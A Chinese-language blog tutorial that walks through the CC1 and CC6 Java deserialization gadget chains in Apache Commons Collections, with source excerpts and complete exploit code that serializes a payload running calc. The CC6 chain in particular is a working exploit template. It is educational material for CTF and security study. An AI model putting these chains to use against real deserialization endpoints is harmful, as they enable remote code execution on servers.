java反序列化CC1&CC6

前言

这个已经很久了,一直放在纸雀上,正好来水一篇博客
学java肯定是绕不过CC链的,当然如果刚接触应该是去看看dnslog的利用,这里就不展开
不过这里不会将过多的java语法(初学者也理解不深,不误人子弟了),只会讲一些反序列化的原理,以及一些利用的点
这里甩一张好图

浅谈理解

如果之前接触过php反序列化,那你应该会很好理解java反序列化的原理
java同php,都是将对象中的属性按照格式生成数据流,反序列化根据属性重建对象,但是无疑它是更灵活更复杂的,允许插入自定义数据,进而在反序列化时通过readobject进行读取
初学时,常以__wakeup与readobject对比
有人总结过,区别即,readObject 倾向于解决“反序列化时如何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题
即是这个小小差异,造就了java诞生了形形色色的反序列化漏洞
打php链子的时候,我们需要找入口魔术方法__destruct或者__wakeup,需要找到RCE的结尾处
设法搭一条中间链子
而java中,反序列化的入口是readObject方法
当我们调用readObject方法时,会触发反序列化,而反序列化时,会调用readObject方法,从而触发链子

CC1

common-collections是什么

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库
而这个库里,已经被挖出来了很多条链子,今天讲的是早期的链子,为什么是早期,因为java相对高版本之后,改变了一个关键入口类,CC1链就打不了了

CC1链原理

讲链子之前,先标记下几个类,以及命令执行的核心

  1. InvokerTransformer
  2. ChainedTransformer
  3. TransformedMap
  4. AnnotationInvocationHandler
  5. ConstantTransformer

InvokerTransformer类

核心是什么?我们看看InvokerTransformer这个类的transformer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

重点看

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

如果了解反射的同学可以理解,这三行其实就是实现了反射调用任意类的任意方法
但是这几个参数如何控制呢?
我们再看看这个类的构造函数

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

可以理解的是,我们构造这个类的对象,传入的参数就是我们要调用的方法,参数类型,参数值
然后在调用transformer方法的时候,传入的参数是可命令执行的类,比如Runtime.getRuntime().exec(“calc”)
我们简单写个demo

1
2
3
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);

这样就可以弹计算器了
但是明确几个点

1
2
首先,能够写出链子即是可以序列化,里面的类必须是可序列化的
其次,我们搭链子的整个过程中,只能从readobject入口进去,反序列化后执行方法,像invokerTransformer.transform(r)这样的调用,只是我们简单测试一下

现在这种情况下寻找哪里调用了transform方法呢?
我们在IDEA里点击整个transform方法,然后点击查找用法即可
这边还要明确一下,很多类里都实现了transform方法

1
2
3
4
5
6
如果某个接口或抽象类定义了 transformer() 方法,那么所有实现这个接口或继承这个抽象类的子类,都必须实现这个方法。
接口场景:
public interface Transformer {
Object transformer(Object input);
}
所有实现 Transformer 的类都要写 transformer() 方法。

TransformedMap类

观察到,transformerMap这个类里面有好东西

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

这个类确实存在一个checkSetValue方法,可以调用this.valueTransformer的tarsnform方法,如何控制这个valueTransformer呢?

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

这是一个静态方法,可直接调用
成功控制

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

因此我们把直接调用trasnform方法进一步变成了

1
2
3
4
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();//参数一必须是一个Map类型
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,invokerTransformer);

那么如何调用这个protestes,即checkSetValue方法呢?

1
2
3
4
5
6
7
8
Java protected 访问权限规则:
同一个包内可以访问
子类可以访问父类的 protected 方法,即使子类在不同包
访问方式:
this.checkSetValue() → 调用自己继承的父类方法
super.checkSetValue() → 明确调用父类方法
parent.checkSetValue() → 前提是 parent 类型是父类或其子类
所以如果 parent 的类型是父类或父类的子类,protected 方法就可以被调用。

可以这样

1
2
3
4
5
6
7
8
9
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("sheep","sheep"); //键值对,方便进入遍历
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,invokerTransformer);

for(Map.Entry entry:transformedmap.entrySet()) {
entry.setValue(r);
}

成功弹出计算器
这边解释的话比较复杂(如果没学过java开发的话),而且它也不是我们的核心,只是为了说明一下,为什么要这样调用
这个entry是抽象类AbstractInputCheckedMapDecorator
里面存在setValue方法
具体实现

1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}

这个parent就是TransformedMap,这里实现了对checkSetValue的调用,进而触发链子
毕竟我们要把链子走到readobject,现在还是很欠缺,哪里可以实现类似上面的调用呢?

AnnotationInvocationHandler类

为什么选择这个类?因为它在它的readobject方法里面实现了上面那一步
即调用了setValue这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

到此为止,CC1的链子通了,但是这之间,还有形形色色的问题,这才正式开始CC1链的分析

问题一:invokerTransformer的transform方法

我们能看到,其实具体的实现想要一步到位,在真正搭链子里面是很难的,为什么这样说呢?我们之前写的demo可以看到,我们给setValue传入了一个r,它是Runtime类的对象
进而在transform方法里,获得了这个对象的exec方法并进行传参
但是但我们选用AnnotationInvocationHandler类的时候,这个setvalue的参数就没那么好控制了,会很麻烦,这里我们引入了两个类

1
2
ConstantTransformer
ChainedTransformer

ConstantTransformer

第一个类的实现是

1
2
3
4
5
6
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}

就是ConstantTransformer设置一个返回值,而 transform 方法每次调用时都返回这个值
作为一个包装类,现在可能看不出来它的作用,我们还得讲另一个

ChainedTransformer

1
2
3
4
5
6
7
8
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

很完美,一个transform可以实现多个transform方法的调用,将前一个的输出作为后一个的参数,这样就解决了我们InvokerTrasnformer的执行问题

组合使用

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);

理论上就可以拿到返回的Runtime对象,进而调用exec方法?真的是这样吗?

问题二:Runtime.getRuntime的不可序列化

很遗憾,Runtime类并没有实现Serializable接口,因此是不可序列化的,这样直接返回,编译器会报错,如何解决呢?
因此我们不能直接使用Runtime类,而是通过反射获取当前的Runtime对象
代码如下

1
2
3
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");

如何在ChainedTransformer中使用呢?
我们可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};

多个反射调用,成功执行calc

问题三:AnnotationInvocationHandler类的构造

一般来说我们直接import这个类?
很遗憾,这个类是sun的私有类,直接import会报错
我们可以通过反射获取这个类

1
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

然后通过反射获取它的构造函数

1
2
javaConstructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

注意看这个构造函数的参数

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

第一个参数是Annotation类,第二个参数是一个map,就是我们利用TransformerMap.decorate生成的map对象
至于这个Annotation类,这里直接说明就是我们的Retention
因为牵扯到java注释相关技术,我们直接给出说明

1
2
3
1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

因此在此之前,还要put进一个value的键值对

exp

如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);

CC6

为什么直接学CC6?

其实在学CC1之后,CC6之前,最好衔接一个ysoserial的CC1链子,它在里面不是使用TransformerMap而是LazyMap,而进入LazyMap不再是调用checksetValue方法,而是调用get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

具体实现去看ysoserial的源码,调试它是如何从 AnnotationInvocationHandler的readobject进入,调用get方法的,具体涉及到如何劫持一个对象内部方法的调用,不细嗦
回归问题,为什么直接来学CC6呢?
高版本jdk修改了AnnotationInvocationHandler的readobject方法,不再直接
使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,直接断了相关的入口
那么我们得找到一个其他方法,可以调用到LazyMap的get方法

CC6链原理

关键类TiedMapEntry

前文说到我们需要找到一个关键类,作为入口类,这里介绍TiedMapEntry类
发现它的getValue方法调用了指定类的get方法

1
2
3
public V getValue() {
return (V)this.map.get(this.key);
}

谁又调用了getValue方法呢?

1
2
3
4
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

入口类HashMap

那么谁又调用它的hashCode方法呢?我们再把目光放到HashMap类上面
readobject下调用了hash方法,然后在hash里又调用了hashcode方法
至此实现了首位相接

防止运行时弹计算器

为了防止运行的时候弹计算器,我们可以现往ChainedTransformer里面添加一个faketransformers

1
2
3
Transformer[] faketarsnformers=new Transformer[]{
new ConstantTransformer(1)
};

然后在最后的时候,使用反射将faketransformers替换成真正的transformers

1
2
3
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

问题

当我们按要求写出如下EXP的时候,并不能弹计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();

调试一下发现到最后

1
2
3
4
5
6
7
8
9
public V get(Object key) {
if (!this.map.containsKey(key)) {
V value = (V)this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return (V)this.map.get(key);
}
}

什么时候this.map.containsKey(key)?这个key是”keykey”
可是我们并没有给LazyMap赋值
注意一下

1
2
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

调用的这个put方法会直接hash->调用tme的hashcode,我的意思是,在构建payload之前就已经进入了LazyMap的get方法
这个时候自然是不含有的,那么进入

1
2
3
4
5
6
7
if (!this.map.containsKey(key)) {
V value = (V)this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return (V)this.map.get(key);
}

this.map.put(key, value)
赋值之后等反序列化启动时自然就else了()
因此remove掉即可
expMap.put(tme, "valuevalue");下增添一行
outerMap.remove("keykey");
ok,成功弹计算器
最后的payload如上就行,这个分析也就结束了

结语

CC链的学习只是java安全学习的冰山一角,但是它的原理是非常重要的,也是非常基础的,掌握了它,对于后续的学习来说,是非常有帮助的,希望大家都能成为java大牛~
尽早突破心魔,做出自己的第一道java题()